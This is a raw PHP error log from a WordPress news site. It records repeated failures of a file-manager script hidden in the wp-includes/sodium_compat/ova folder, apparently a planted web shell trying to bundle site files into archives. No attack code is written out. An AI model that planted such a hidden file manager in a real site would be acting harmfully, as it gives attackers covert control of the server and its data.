[30-Aug-2025 09:07:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:08:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:10:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:11:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:11:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:11:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:11:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:12:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:13:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:14:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:15:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:15:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:15:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:15:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:15:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:16:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:16:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:17:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:17:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:20:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:20:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:20:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:20:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:23:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:23:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:24:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:24:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:26:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:26:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:27:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:27:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:29:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:29:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:32:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:32:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:34:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:34:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:34:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:34:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:36:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:36:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:36:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:36:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 14:58:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 14:58:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:45:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:45:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:52:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:52:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:53:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:53:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:55:00 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/lib.zip" failed: unable to write local file header of file "namespaced.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/lib.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [30-Aug-2025 16:57:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 16:57:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:01:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:01:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:03:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:03:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:06:16 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ova.zip" failed: unable to write local file header of file [30-Aug-2025 17:23:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 17:23:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 18:30:28 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 669 [30-Aug-2025 20:46:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 20:46:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:05:49 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/BLAKE2b.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [30-Aug-2025 21:06:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:06:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:06:11 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SipHash.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index[30-Aug-2025 21:22:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 